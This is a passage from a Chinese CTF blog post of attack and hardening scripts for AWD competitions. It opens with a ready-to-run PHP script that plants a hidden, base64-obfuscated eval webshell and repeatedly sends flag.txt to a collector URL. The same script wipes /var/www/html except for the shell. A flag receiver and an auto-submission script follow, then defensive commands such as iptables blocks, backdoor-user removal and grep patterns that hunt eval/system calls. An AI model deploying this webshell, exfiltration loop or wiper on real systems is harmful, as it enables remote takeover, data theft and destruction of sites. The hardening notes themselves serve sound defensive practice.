<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token operator">&lt;</span>?php</pre></td></tr><tr><td data-num="2"></td><td><pre>function send_post<span class="token punctuation">(</span>$url<span class="token punctuation">,</span> $post_data<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="3"></td><td><pre>$postdata <span class="token operator">=</span> http_build_query<span class="token punctuation">(</span>$post_data<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="4"></td><td><pre>$options <span class="token operator">=</span> array<span class="token punctuation">(</span></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token string">'http'</span> <span class="token operator">=</span><span class="token operator">></span> array<span class="token punctuation">(</span></pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token string">'method'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token string">'POST'</span><span class="token punctuation">,</span></pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token string">'header'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token string">'Content-type:application/x-www-form-urlencoded'</span><span class="token punctuation">,</span></pre></td></tr><tr><td data-num="8"></td><td><pre><span class="token string">'content'</span> <span class="token operator">=</span><span class="token operator">></span> $postdata<span class="token punctuation">,</span></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token string">'timeout'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token number">15</span> <span class="token operator">*</span> <span class="token number">60</span></pre></td></tr><tr><td data-num="10"></td><td><pre><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="11"></td><td><pre><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="12"></td><td><pre>$context <span class="token operator">=</span> stream_context_create<span class="token punctuation">(</span>$options<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="13"></td><td><pre>$result <span class="token operator">=</span> file_get_contents<span class="token punctuation">(</span>$url<span class="token punctuation">,</span> false<span class="token punctuation">,</span> $context<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="14"></td><td><pre><span class="token keyword">return</span> $result<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="15"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="16"></td><td><pre>$flag_tmp<span class="token operator">=</span><span class="token string">'flag&#123;xxx&#125;'</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="17"></td><td><pre><span class="token decorator annotation punctuation">@unlink</span> <span class="token punctuation">(</span><span class="token string">'awd2021.php'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="18"></td><td><pre><span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">True</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="19"></td><td><pre>$flag<span class="token operator">=</span>system<span class="token punctuation">(</span><span class="token string">'cat flag.txt'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="20"></td><td><pre>$data<span class="token operator">=</span>array<span class="token punctuation">(</span></pre></td></tr><tr><td data-num="21"></td><td><pre><span class="token string">'flag'</span> <span class="token operator">=</span><span class="token operator">></span> $flag</pre></td></tr><tr><td data-num="22"></td><td><pre><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="23"></td><td><pre><span class="token keyword">if</span> <span class="token punctuation">(</span>$flag<span class="token operator">!=</span>$flag_tmp<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="24"></td><td><pre>send_post<span class="token punctuation">(</span><span class="token string">'http://127.0.0.1/getflag.php'</span><span class="token punctuation">,</span> $data<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="25"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="26"></td><td><pre>$flag_tmp<span class="token operator">=</span>$flag<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="27"></td><td><pre>$shell<span class="token operator">=</span>base64_decode<span class="token punctuation">(</span><span class="token string">'PD9waHAgJGtleT0kX0dFVFsia2V5Il07CiRrZXloYXNoPW1kNSgka2V5KTsKaWYoJGtleWhhc2g9PT0iYzQwM2Q1OWZlYTMzMTEzZGY0NGQ0NjVhZWVjMzM2YWIiKSB7CglldmFsKCRfUE9TVFsiYSJdKTsKfQplY2hvImZpbGUgbm90IGZpbmQuIjsKPz4='</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="28"></td><td><pre><span class="token keyword">if</span> <span class="token punctuation">(</span>file_exists<span class="token punctuation">(</span><span class="token string">'.c403d59fea33113df44d465aeec336ab.php'</span><span class="token punctuation">)</span><span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="29"></td><td><pre>file_put_contents<span class="token punctuation">(</span><span class="token string">'.c403d59fea33113df44d465aeec336ab.php'</span><span class="token punctuation">,</span> $shell<span class="token punctuation">,</span> FILE_APPEND<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="30"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="31"></td><td><pre>system<span class="token punctuation">(</span><span class="token string">'rm -rf /var/www/html/* !(.c403d59fea33113df44d465aeec336ab.php)'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="32"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="33"></td><td><pre>?<span class="token operator">></span></pre></td></tr></table></figure><p>（2）服务端接收 flag</p>
<p>1. 按照往年比赛经验，靶机和我们的电脑是互通的，这个脚本可以本机开一个 phpstudy 跑起来，若不通的话直接放自己的靶机服务器上。</p>
<p>2. 这个脚本默认名字为 getflag.php，如果修改的话需要修改内存脚本中对应的文件名。</p>
<p>3. 新的 flag 会源源不断提交过来，在当前目录的 shuoshuren_flag.txt 里面。</p>
<p><code>&lt;?php$flag=$_POST['flag'];file_put_contents('shuoshuren_flag.txt', $flag.'\n', FILE_APPEND);?&gt;</code></p>
<p>（3）自动提交 flag 脚本</p>
<p>根据往年经验，flag 提交平台是有验证码的，所以这个脚本调用了验证码训练识别模型，达到自动化提交 flag 的目的，平台没有验证码的话就不用识别。</p>
<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token comment"># base python3</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">import</span> requests</pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token keyword">import</span> base64</pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token keyword">import</span> json</pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token keyword">import</span> time</pre></td></tr><tr><td data-num="6"></td><td><pre></pre></td></tr><tr><td data-num="7"></td><td><pre></pre></td></tr><tr><td data-num="8"></td><td><pre><span class="token keyword">def</span> <span class="token function">GetPic</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token comment"># 获取验证码并识别，这里会调用我本机的验证码训练识别模型（refer：算命瞎子）</span></pre></td></tr><tr><td data-num="9"></td><td><pre>pic_content<span class="token operator">=</span>requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">.</span>content</pre></td></tr><tr><td data-num="10"></td><td><pre>pic_base64<span class="token operator">=</span>base64<span class="token punctuation">.</span>b64encode<span class="token punctuation">(</span>pic_content<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="11"></td><td><pre>data<span class="token operator">=</span><span class="token string">'base64='</span> pic_base64</pre></td></tr><tr><td data-num="12"></td><td><pre><span class="token keyword">try</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="13"></td><td><pre>yzm<span class="token operator">=</span>requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string">'http://192.168.3.103:8899/base64'</span><span class="token punctuation">,</span>data<span class="token operator">=</span>data<span class="token punctuation">)</span><span class="token punctuation">.</span>text</pre></td></tr><tr><td data-num="14"></td><td><pre><span class="token keyword">return</span> yzm</pre></td></tr><tr><td data-num="15"></td><td><pre><span class="token keyword">except</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="16"></td><td><pre><span class="token keyword">return</span> <span class="token string">'yzm'</span></pre></td></tr><tr><td data-num="17"></td><td><pre></pre></td></tr><tr><td data-num="18"></td><td><pre><span class="token keyword">def</span> <span class="token function">PostFlag</span><span class="token punctuation">(</span>PostUrl<span class="token punctuation">,</span>PicUrl<span class="token punctuation">,</span>flag<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token comment"># 提交 flag</span></pre></td></tr><tr><td data-num="19"></td><td><pre><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span>flag<span class="token punctuation">,</span><span class="token string">'r'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="20"></td><td><pre>flag_list<span class="token operator">=</span>f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="21"></td><td><pre>headers<span class="token operator">=</span><span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="22"></td><td><pre><span class="token comment">#请求头需要现场抓包</span></pre></td></tr><tr><td data-num="23"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="24"></td><td><pre><span class="token keyword">for</span> flag <span class="token keyword">in</span> flag_list<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="25"></td><td><pre><span class="token keyword">if</span> flag <span class="token keyword">in</span> flag_list<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="26"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'&#123;&#125; 重复'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>flag<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="27"></td><td><pre><span class="token keyword">else</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="28"></td><td><pre>GetYzm<span class="token operator">=</span>GetPic<span class="token punctuation">(</span>PicUrl<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="29"></td><td><pre>data <span class="token operator">=</span> json<span class="token punctuation">.</span>dumps<span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token string">'请求体需要现场抓包，字典格式'</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="30"></td><td><pre><span class="token keyword">try</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="31"></td><td><pre>res<span class="token operator">=</span>requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">=</span>PostUrl<span class="token punctuation">,</span>headers<span class="token operator">=</span>headers<span class="token punctuation">,</span>data<span class="token operator">=</span>data<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="32"></td><td><pre><span class="token keyword">if</span> <span class="token string">'成功的标识符'</span> <span class="token keyword">in</span> res<span class="token punctuation">.</span>text<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="33"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'&#123;&#125; 提交成功'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>flag<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="34"></td><td><pre>flag_list_ok<span class="token punctuation">.</span>append<span class="token punctuation">(</span>flag<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="35"></td><td><pre><span class="token keyword">else</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="36"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'&#123;&#125; 提交失败'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>flag<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="37"></td><td><pre><span class="token keyword">except</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="38"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'其他错误'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="39"></td><td><pre></pre></td></tr><tr><td data-num="40"></td><td><pre>flag_list_ok<span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="41"></td><td><pre><span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span><span class="token comment">#</span></pre></td></tr><tr><td data-num="42"></td><td><pre>PostFlag<span class="token punctuation">(</span><span class="token string">'提交flag的请求地址'</span><span class="token punctuation">,</span><span class="token string">'flag平台验证码的地址'</span><span class="token punctuation">,</span><span class="token string">'shuoshuren_flag.txt'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="43"></td><td><pre>time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">300</span><span class="token punctuation">)</span><span class="token comment">#休息 5 分钟，可以按需修改</span></pre></td></tr></table></figure><h1 id="备份网站"><a class="anchor" href="#备份网站">#</a> 备份网站</h1>
<p>scp -r <span class="exturl" data-url="bWFpbHRvOnJvb3RAMTI3LjAuMC4x">root@127.0.0.1</span>:/www/html ./   下载远程的 /www/html 到当前的目录</p>
<p>scp -r testfile <span class="exturl" data-url="bWFpbHRvOnJvb3RAMTI3LjAuMC4x">root@127.0.0.1</span>:/www/html    把当前目录的 testfile 上传到远程的 /www/html</p>
<h1 id="查看已建立的网络连接以及对应进程"><a class="anchor" href="#查看已建立的网络连接以及对应进程">#</a> 查看已建立的网络连接以及对应进程</h1>
<p>​	netstat -antulp | grep EST</p>
<h1 id="用户管理"><a class="anchor" href="#用户管理">#</a> 用户管理</h1>
<p>​	whoami　　// 查看当前用户<br />
​	pkill -kill -t &lt;用户 tty&gt;　　 // 踢掉当前登录用户</p>
<h1 id="进程管理"><a class="anchor" href="#进程管理">#</a> 进程管理</h1>
<p>​	查看进程信息<br />
​	ps aux | grep pid 或者进程名　　<br />
​</p>
<pre><code>查看指定端口被哪个进程占用
lsof -i:端口号 
或者 netstat -tunlp|grep 端口号

结束进程命令
kill PID
killall &lt;进程名&gt;
kill -9 &lt;PID&gt;
</code></pre>
<h1 id="iptables命令"><a class="anchor" href="#iptables命令">#</a> iptables 命令</h1>
<p>​	封杀某个 IP 或者 ip 段，如：123.4.5.6<br />
​	iptables -I INPUT -s 123.4.5.6 -j DROP<br />
​	iptables -I INPUT -s 123.4.5.1/24 -j DROP<br />
​</p>
<pre><code>禁止从某个主机ssh远程访问登陆到本机，如123.4.5.6
iptable -t filter -A INPUT -s 123.4.5.6 -p tcp --dport 22 -j DROP
</code></pre>
<h1 id="mysql数据库操作"><a class="anchor" href="#mysql数据库操作">#</a> Mysql 数据库操作</h1>
<pre><code>备份mysql数据库
mysqldump -u 用户名 -p 密码 数据库名 &gt; back.sql　　//备份指定数据库
mysqldump --all-databases &gt; bak.sql　　　　//备份所有数据库

还原mysql数据库
mysql -u 用户名 -p 密码 数据库名 &lt; bak.sql
</code></pre>
<h1 id="安全检查"><a class="anchor" href="#安全检查">#</a> 安全检查</h1>
<pre><code>find / *.php -perm 4777 　　 //查找777的权限的php文件 
awk -F: '&#123;if($3==0)print $1&#125;' /etc/passwd　　//查看root权限的账号
crontab -l　　//查看计划任务

检测所有的tcp连接数量及状态
netstat -ant|awk '&#123;print $5 &quot;\t&quot; $6&#125;' |grep &quot;[1-9][0-9]*\.&quot;|sed -e 's/::ffff://' -e 's/:[0-9]*//'|sort|uniq -c|sort -rn
　　
查看页面访问排名前十的IP
cat /var/log/apache2/access.log  | cut -f1 -d &quot; &quot; | sort | uniq -c | sort -k 1 -r | head -10
　　
查看页面访问排名前十的URL
cat /var/log/apache2/access.log  | cut -f4 -d &quot; &quot; | sort | uniq -c | sort -k 1 -r | head -10　　
</code></pre>
<p></p>
<h1 id="改密码"><a class="anchor" href="#改密码">#</a> 改密码</h1>
<p>passwd</p>
<h1 id="后门用户"><a class="anchor" href="#后门用户">#</a> 后门用户</h1>
<p>cat /etc/passwd | grep bash<br />
userdel hack<br />
userdel backdoor</p>
<h1 id="备份"><a class="anchor" href="#备份">#</a> 备份</h1>
<p>scp -r root@127.0.01:/var/www/html ./<br />
scp testfile <span class="exturl" data-url="bWFpbHRvOnJvb3RAMTI3LjAuMC4x">root@127.0.0.1</span>:/var/www/html</p>
<p>mysql -u root -h localhost -p<br />
mysqldump TBNAME &gt; ~/tbname.sql</p>
<h1 id="改php数据库密码"><a class="anchor" href="#改php数据库密码">#</a> 改 php 数据库密码</h1>
<p>方法一：update mysql.users set password=password (&quot;123..com&quot;) where user = 'check';<br />
flush privileges;</p>
<p>方法二：set password for root@localhost = password ('123..com');</p>
<p>SELECT user,host FROM mysql.user;<br />
use mysql;<br />
update user set host='localhost' where user='root';<br />
flush privileges;</p>
<h1 id="通防"><a class="anchor" href="#通防">#</a> 通防</h1>
<p>// 通过 winscp，等方式，将 cwphp.php 通防脚本放到 /var/www/html<br />
cd /var/www/html<br />
find -name '*.php' -exec sed -i &quot;1i &lt;?php @include_once('/var/www/html/cwphp.php');?&gt;&quot; {} ;</p>
<h1 id="查端口禁用"><a class="anchor" href="#查端口禁用">#</a> 查端口，禁用</h1>
<p>netstat -antulp<br />
iptables -I INPUT -p tcp --dprot 22 -j DROP</p>
<h1 id="找简单漏洞"><a class="anchor" href="#找简单漏洞">#</a> 找简单漏洞</h1>
<p>grep -rl eval /var/www/html<br />
eval base64 system file_get_contents readfile fopen<br />
find . -name '<em>.php' | xargs grep -n 'eval('<br />
find . -name '</em>.php' | xargs grep -n 'assert('<br />
find . -name '*.php' | xargs grep -n 'system('</p>
<h1 id="查端口禁用-2"><a class="anchor" href="#查端口禁用-2">#</a> 查端口禁用</h1>
<p>netstat -antulp<br />
iptables -I INPUT -p tcp --dprot 22 -j DROP</p>
<p>再推荐一篇安全应急排查手册：<span class="exturl" data-url="aHR0cHM6Ly95cS5hbGl5dW4uY29tL2FydGljbGVzLzE3NzMzNw==">https://yq.aliyun.com/articles/177337</span></p>
<p>部分来自 http://www.360doc.com/content/21/0621/14/71939662_983023628.shtml</p>

      <div class="tags">
          <a href="/tags/CTF/" rel="tag"><i class="ic i-tag"></i> CTF</a>
      </div>
  </div>

   <footer>

    <div class="meta">
  <span class="item">
    <span class="icon">
      <i class="ic i-calendar-check"></i>
    </span>
    <span class="text">Edited on</span>
    <time title="Modified: 2021-12-22 21:01:00" itemprop="dateModified" datetime="2021-12-22T21:01:00+08:00">2021-12-22</time>
  </span>
  <span id="AWD/" class="item leancloud_visitors" data-flag-title="AWD 脚本和加固命令" title="Views">
      <span class="icon">
        <i class="ic i-eye"></i>
      </span>
      <span class="text">Views</span>
      <span class="leancloud-visitors-count"></span>
      <span class="text">times</span>
  </span>
</div>

      
<div class="reward">
  <button><i class="ic i-heartbeat"></i> Donate</button>
  <p>Give me a cup of [coffee]~(￣▽￣)~*</p>
  <div id="qr">
      
      <div>
        <img data-src="/images/wechatpay.png" alt="cheuncey Zhang WeChat Pay">
        <p>WeChat Pay</p>
      </div>
      
      <div>
        <img data-src="/images/alipay.png" alt="cheuncey Zhang Alipay">
        <p>Alipay</p>
      </div>
      
      <div>
        <img data-src="/images/paypal.png" alt="cheuncey Zhang PayPal">
        <p>PayPal</p>
      </div>
  </div>
</div>

      

<div id="copyright">
<ul>
  <li class="author">
    <strong>Post author:  </strong>cheuncey Zhang <i class="ic i-at"><em>@</em></i>Canary's Blog
  </li>
  <li class="link">
    <strong>Post link: </strong>
    <a href="https://zephyr-cyber.github.io.git/AWD/" title="AWD 脚本和加固命令">https://zephyr-cyber.github.io.git/AWD/</a>
  </li>
  <li class="license">
    <strong>Copyright Notice:  </strong>All articles in this blog are licensed under <span class="exturl" data-url="aHR0cHM6Ly9jcmVhdGl2ZWNvbW1vbnMub3JnL2xpY2Vuc2VzL2J5LW5jLXNhLzQuMC9kZWVkLnpo"><i class="ic i-creative-commons"><em>(CC)</em></i>BY-NC-SA</span> unless stating additionally.
  </li>
</ul>
</div>

  </footer>

</article>

  </div>
  

<div class="post-nav">
    <div class="item left">
      

  <a href="/MiniLCTF_2020%E9%A2%98%E8%A7%A3/" itemprop="url" rel="prev" data-background-image="https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;zephyr-cyber&#x2F;Blog-Gallery@main&#x2F;&#x2F;blog-img&#x2F;50444-JakuChara_Tomozakikun-PC-Wallpaper.jpg" title="MiniLCTF_2020题解">
  <span class="type">Previous Post</span>
  <span class="category"><i class="ic i-flag"></i> computer-science</span>
  <h3>MiniLCTF_2020题解</h3>
  </a>

    </div>
    <div class="item right">
      

  <a href="/BUGKUmisc/" itemprop="url" rel="next" data-background-image="https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;zephyr-cyber&#x2F;Blog-Gallery@main&#x2F;&#x2F;blog-img&#x2F;pic7.jpg" title="bugku-MISC">
  <span class="type">Next Post</span>
  <span class="category"><i class="ic i-flag"></i> </span>
  <h3>bugku-MISC</h3>
  </a>

    </div>
</div>

  
  <div class="wrap" id="comments"></div>


        </div>
        <div id="sidebar">
          

<div class="inner">

  <div class="panels">
    <div class="inner">
      <div class="contents panel pjax" data-title="Contents">
          <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#awd%E7%BA%BF%E4%B8%8B%E8%B5%9B%E9%98%B2%E5%AE%88%E8%84%9A%E6%9C%AC"><span class="toc-number">1.</span> <span class="toc-text"> AWD 线下赛防守脚本：</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#awd%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%94%BB%E5%87%BB%E8%84%9A%E6%9C%AC"><span class="toc-number">2.</span> <span class="toc-text"> AWD 线下赛攻击脚本：</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%A4%87%E4%BB%BD%E7%BD%91%E7%AB%99"><span class="toc-number">3.</span> <span class="toc-text"> 备份网站</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%BB%BA%E7%AB%8B%E7%9A%84%E7%BD%91%E7%BB%9C%E8%BF%9E%E6%8E%A5%E4%BB%A5%E5%8F%8A%E5%AF%B9%E5%BA%94%E8%BF%9B%E7%A8%8B"><span class="toc-number">4.</span> <span class="toc-text"> 查看已建立的网络连接以及对应进程</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%94%A8%E6%88%B7%E7%AE%A1%E7%90%86"><span class="toc-number">5.</span> <span class="toc-text"> 用户管理</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E8%BF%9B%E7%A8%8B%E7%AE%A1%E7%90%86"><span class="toc-number">6.</span> <span class="toc-text"> 进程管理</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#iptables%E5%91%BD%E4%BB%A4"><span class="toc-number">7.</span> <span class="toc-text"> iptables 命令</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#mysql%E6%95%B0%E6%8D%AE%E5%BA%93%E6%93%8D%E4%BD%9C"><span class="toc-number">8.</span> <span class="toc-text"> Mysql 数据库操作</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%AE%89%E5%85%A8%E6%A3%80%E6%9F%A5"><span class="toc-number">9.</span> <span class="toc-text"> 安全检查</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%94%B9%E5%AF%86%E7%A0%81"><span class="toc-number">10.</span> <span class="toc-text"> 改密码</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%90%8E%E9%97%A8%E7%94%A8%E6%88%B7"><span class="toc-number">11.</span> <span class="toc-text"> 后门用户</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%A4%87%E4%BB%BD"><span class="toc-number">12.</span> <span class="toc-text"> 备份</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%94%B9php%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AF%86%E7%A0%81"><span class="toc-number">13.</span> <span class="toc-text"> 改 php 数据库密码</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%80%9A%E9%98%B2"><span class="toc-number">14.</span> <span class="toc-text"> 通防</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%9F%A5%E7%AB%AF%E5%8F%A3%E7%A6%81%E7%94%A8"><span class="toc-number">15.</span> <span class="toc-text"> 查端口，禁用</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%89%BE%E7%AE%80%E5%8D%95%E6%BC%8F%E6%B4%9E"><span class="toc-number">16.</span> <span class="toc-text"> 找简单漏洞</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%9F%A5%E7%AB%AF%E5%8F%A3%E7%A6%81%E7%94%A8-2"><span class="toc-number">17.</span> <span class="toc-text"> 查端口禁用</span></a></li></ol>
      </div>
      <div class="related panel pjax" data-title="Related">
        <ul>
          <li><a href="/computer-science/Misc/BUGKUmisc/" rel="bookmark" title="bugku-MISC">bugku-MISC</a></li><li><a href="/computer-science/Misc/%E6%AF%94%E8%B5%9Bmisc/" rel="bookmark" title="比赛MISC">比赛MISC</a></li><li><a href="/computer-science/Pwn/pwn/" rel="bookmark" title="pwn学习(1)">pwn学习(1)</a></li><li><a href="/computer-science/Pwn/pwn2/" rel="bookmark" title="pwn学习(2)">pwn学习(2)</a></li><li><a href="/computer-science/Reverse/reverse/" rel="bookmark" title="学习Reverse">学习Reverse</a></li><li><a href="/computer-science/Web/Web/" rel="bookmark" title="web学习">web学习</a></li><li><a href="/computer-science/Crypto/Crypto/" rel="bookmark" title="Crypto">Crypto</a></li><li><a href="/computer-science/Pwn/pwn3/" rel="bookmark" title="pwn3">pwn3</a></li><li><a href="/computer-science/Pwn/pwn4/" rel="bookmark" title="pwn4-stack pivoting">pwn4-stack pivoting</a></li><li><a href="/computer-science/Reverse/reverse2/" rel="bookmark" title="学习Reverse2">学习Reverse2</a></li><li><a href="/MiniLCTF_2021%E9%A2%98%E8%A7%A3/" rel="bookmark" title="MiniLCTF_2021题解">MiniLCTF_2021题解</a></li><li><a href="/moeCTF_2021%E9%A2%98%E8%A7%A3/" rel="bookmark" title="MoeCTF_2021题解">MoeCTF_2021题解</a></li><li><a href="/MiniLCTF_2020%E9%A2%98%E8%A7%A3/" rel="bookmark" title="MiniLCTF_2020题解">MiniLCTF_2020题解</a></li><li class="active"><a href="/AWD/" rel="bookmark" title="AWD脚本和加固命令">AWD脚本和加固命令</a></li>
        </ul>
      </div>
      <div class="overview panel" data-title="Overview">
        <div class="author" itemprop="author" itemscope itemtype="http://schema.org/Person">
  <img class="image" itemprop="image" alt="cheuncey Zhang"
      data-src="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/16f8bec9f7fbb60bf0c3a1d2fa12affd.jpeg">
  <p class="name" itemprop="name">cheuncey Zhang</p>
  <div class="description" itemprop="description">刻意练习</div>
</div>

<nav class="state">
    <div class="item posts">
      <a href="/archives/">
        <span class="count">49</span>
        <span class="name">posts</span>
      </a>
    </div>
    <div class="item categories">
      <a href="/categories/">
        <span class="count">20</span>
        <span class="name">categories</span>
      </a>
    </div>
    <div class="item tags">
      <a href="/tags/">
        <span class="count">16</span>
        <span class="name">tags</span>
      </a>
    </div>
</nav>

<div class="social">
      <span class="exturl item github" data-url="aHR0cHM6Ly96ZXBoeXItY3liZXIuZ2l0aHViLmlv" title="https:&#x2F;&#x2F;zephyr-cyber.github.io"><i class="ic i-github"></i></span>
      <span class="exturl item twitter" data-url="aHR0cHM6Ly90d2l0dGVyLmNvbS8=" title="https:&#x2F;&#x2F;twitter.com&#x2F;"><i class="ic i-twitter"></i></span>
      <span class="exturl item zhihu" data-url="aHR0cHM6Ly93d3cuemhpaHUuY29tL3Blb3BsZS8=" title="https:&#x2F;&#x2F;www.zhihu.com&#x2F;people&#x2F;"><i class="ic i-zhihu"></i></span>
      <span class="exturl item music" data-url="aHR0cHM6Ly9tdXNpYy4xNjMuY29tLyMvbXkvbS9tdXNpYy9wbGF5bGlzdD9pZD0yMjI2MDQ2MDI3" title="https:&#x2F;&#x2F;music.163.com&#x2F;#&#x2F;my&#x2F;m&#x2F;music&#x2F;playlist?id&#x3D;2226046027"><i class="ic i-cloud-music"></i></span>
      <span class="exturl item weibo" data-url="aHR0cHM6Ly93ZWliby5jb20v" title="https:&#x2F;&#x2F;weibo.com&#x2F;"><i class="ic i-weibo"></i></span>
      <span class="exturl item about" data-url="aHR0cHM6Ly9hYm91dC5tZS8=" title="https:&#x2F;&#x2F;about.me&#x2F;"><i class="ic i-address-card"></i></span>
      <span class="exturl item email" data-url="bWFpbHRvOjEzMjc4MzcwMzFAcXEuY29tLmNvbQ==" title="mailto:1327837031@qq.com.com"><i class="ic i-envelope"></i></span>
      <span class="exturl item facebook" data-url="aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tLw==" title="https:&#x2F;&#x2F;www.facebook.com&#x2F;"><i class="ic i-facebook"></i></span>
      <span class="exturl item stackoverflow" data-url="aHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS8=" title="https:&#x2F;&#x2F;stackoverflow.com&#x2F;"><i class="ic i-stack-overflow "#1e88e5""></i></span>
